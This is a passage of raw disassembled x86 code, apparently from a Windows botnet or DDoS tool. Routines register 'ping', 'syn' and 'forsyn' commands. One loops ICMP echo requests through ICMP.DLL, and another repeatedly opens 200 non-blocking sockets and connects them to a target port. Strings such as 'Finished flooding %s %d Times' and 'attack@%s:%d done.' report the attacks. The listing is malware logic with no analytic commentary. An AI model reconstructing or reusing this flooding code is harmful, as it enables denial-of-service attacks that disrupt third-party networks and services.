[esp+4Ch], 3 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A04 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_4277C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4277C8: ; CODE XREF: sub_4277B0+Dj mov eax, esi pop esi retn 4 sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4277E0 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_4277E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427800 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427800 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_4278C4 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_4278DE ; --------------------------------------------------------------------------- loc_4278C4: ; CODE XREF: sub_427800+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_4278DE: ; CODE XREF: sub_427800+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427800 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427980 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27E0948h mov esi, eax test esi, esi jz short loc_4279EA mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51011C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510120, eax call edi mov ecx, dword_51011C mov dword_510118, eax test ecx, ecx jz short loc_4279EA mov edx, dword_510120 test edx, edx jz short loc_4279EA test eax, eax jz short loc_4279EA mov al, [esp+0Bh] test al, al jz short loc_4279F5 loc_4279EA: ; CODE XREF: sub_427980+1Bj ; sub_427980+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_4279F5: ; CODE XREF: sub_427980+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427A0C mov [esp+24h+arg_FFE8], eax loc_427A0C: ; CODE XREF: sub_427980+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427A1F mov ebp, 1 loc_427A1F: ; CODE XREF: sub_427980+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427A64 loc_427A30: ; CODE XREF: sub_427980+E2j mov al, byte_4D84B9 test al, al jz short loc_427A64 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510118 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427A30 loc_427A64: ; CODE XREF: sub_427980+AEj ; sub_427980+B7j push edi call dword_510120 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427980 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AC0 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427AC0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B00 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427B00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427B00 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427BA0 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427BA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427C60: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427C78 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427C78: ; CODE XREF: ___:00427C6Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D8F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86EF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D1Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510128 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510328 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 2790000h test eax, eax mov dword_51032C, eax jz short loc_427E8B push offset dword_448F34 push 5 push eax push 0 push offset dword_510128 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D1Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84B9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx nop call near ptr 2830386h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx call near ptr 71AB9639h nop add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: 